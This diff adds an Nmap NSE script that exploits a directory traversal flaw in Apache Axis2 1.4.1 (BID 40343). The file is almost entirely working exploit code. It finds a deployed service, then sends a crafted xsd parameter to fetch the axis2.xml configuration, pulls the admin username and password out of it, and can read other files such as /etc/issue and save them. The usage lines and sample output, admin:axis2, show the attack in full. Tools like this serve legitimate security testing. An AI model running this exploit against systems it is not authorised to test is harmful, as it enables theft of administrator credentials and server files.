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+local creds = require "creds"
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by
+sending a specially crafted request to the parameter <code>xsd</code>
+(BID 40343). By default it will try to retrieve the configuration file of the
+Axis2 service <code>'/conf/axis2.xml'</code> using the path
+<code>'/axis2/services/'</code> to return the username and password of the
+admin account.
+
+To exploit this vulnerability we need to detect a valid service running on the
+installation so we extract it from <code>/listServices</code> before exploiting
+the directory traversal vulnerability. By default it will retrieve the
+configuration file, if you wish to retrieve other files you need to set the
+argument <code>http-axis2-dir-traversal.file</code> correctly to traverse to
+the file's directory. Ex. <code>../../../../../../../../../etc/issue</code>
+
+To check the version of an Apache Axis2 installation go to:
+http://domain/axis2/services/Version/getVersion
+
+Reference:
+* https://www.securityfocus.com/bid/40343
+* https://www.exploit-db.com/exploits/12721/
+]]
+
+---
+-- @usage
+-- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' <host/ip>
+-- nmap -p80 --script http-axis2-dir-traversal <host/ip>
+--
+-- @output
+-- 80/tcp open http syn-ack
+-- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2
+--
+-- @args http-axis2-dir-traversal.file Remote file to retrieve
+-- @args http-axis2-dir-traversal.outfile Output file
+-- @args http-axis2-dir-traversal.basepath Basepath to the services page. Default: <code>/axis2/services/</code>
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive", "exploit"}
+
+
+portrule = shortport.http
+
+--Default configuration values
+local DEFAULT_FILE = "../conf/axis2.xml"
+local DEFAULT_PATH = "/axis2/services/"
+
+---
+--Checks the given URI looks like an Apache Axis2 installation
+-- @param host Host table
+-- @param port Port table
+-- @param path Apache Axis2 Basepath
+-- @return True if the string "Available services" is found
+local function check_installation(host, port, path)
+ local req = http.get(host, port, path)
+ if req.status == 200 and http.response_contains(req, "Available services") then
+ return true
+ end
+ return false
+end
+
+---
+-- Returns a table with all the available services extracted
+-- from the services list page
+-- @param body Services list page body
+-- @return Table containing the names and paths of the available services
+local function get_available_services(body)
+ local services = {}
+ for service in string.gmatch(body, '<h4>Service%sDescription%s:%s<font%scolor="black">(.-)</font></h4>') do
+ table.insert(services, service)
+ end
+
+ return services
+end
+
+---
+--Writes string to file
+--Taken from: hostmap.nse
+-- @param filename Filename to write
+-- @param contents Content of file
+-- @return True if file was written successfully
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+---
+-- Extracts Axis2's credentials from the configuration file
+-- It also adds them to the credentials library.
+-- @param body Configuration file string
+-- @return true if credentials are found
+-- @return Credentials or error string
+---
+local function extract_credentials(host, port, body)
+ local _,_,user = string.find(body, '<parameter name="userName">(.-)</parameter>')
+ local _,_,pass = string.find(body, '<parameter name="password">(.-)</parameter>')
+
+ if user and pass then
+ local cred_obj = creds.Credentials:new( SCRIPT_NAME, host, port )
+ cred_obj:add(user, pass, creds.State.VALID )
+ return true, string.format("Admin credentials found -> %s:%s", user, pass)
+ end
+ return false, "Credentials were not found."
+end
+
+action = function(host, port)
+ local outfile = stdnse.get_script_args("http-axis2-dir-traversal.outfile")
+ local rfile = stdnse.get_script_args("http-axis2-dir-traversal.file") or DEFAULT_FILE
+ local basepath = stdnse.get_script_args("http-axis2-dir-traversal.basepath") or DEFAULT_PATH
+ local selected_service, output
+
+ --check this is an axis2 installation
+ if not(check_installation(host, port, basepath.."listServices")) then
+ stdnse.debug1("This does not look like an Apache Axis2 installation.")
+ return
+ end
+
+ output = {}
+ --process list of available services
+ local req = http.get( host, port, basepath.."listServices")
+ local services = get_available_services(req.body)
+
+ --generate debug info for services and select first one to be used in the request
+ if #services > 0 then
+ for _, servname in pairs(services) do
+ stdnse.debug1("Service found: %s", servname)
+ end
+ selected_service = services[1]
+ else
+ if nmap.verbosity() >= 2 then
+ stdnse.debug1("There are no services available. We can't exploit this")
+ end
+ return
+ end
+
+ --Use selected service and exploit
+ stdnse.debug1("Querying service: %s", selected_service)
+ req = http.get(host, port, basepath..selected_service.."?xsd="..rfile)
+ stdnse.debug2("Query -> %s", basepath..selected_service.."?xsd="..rfile)
+
+ --response came back
+ if req.status and req.status == 200 then
+ --if body is empty something wrong could have happened...
+ if string.len(req.body) <= 0 then
+ if nmap.verbosity() >= 2 then
+ stdnse.debug1("Response was empty. The file does not exists or the web server does not have sufficient permissions")
+ end
+ return
+ end
+
+ output[#output+1] = "\nApache Axis2 Directory Traversal (BID 40343)"
+
+ --Retrieve file or only show credentials if downloading the configuration file
+ if rfile ~= DEFAULT_FILE then
+ output[#output+1] = req.body
+ else
+ --try to extract credentials
+ local extract_st, extract_msg = extract_credentials(host, port, req.body)
+ if extract_st then
+ output[#output+1] = extract_msg
+ else
+ stdnse.debug1("Credentials not found in configuration file")
+ end
+ end
+
+ --save to file if selected
+ if outfile then
+ local status, err = write_file(outfile, req.body)
+ if status then
+ output[#output+1] = string.format("%s saved to %s\n", rfile, outfile)
+ else
+ output[#output+1] = string.format("Error saving %s to %s: %s\n", rfile, outfile, err)
+ end
+ end
+ else
+ stdnse.debug1("Request did not return status 200. File might not be found or unreadable")
+ return
+ end
+
+ if #output > 0 then
+ return table.concat(output, "\n")
+ end
+end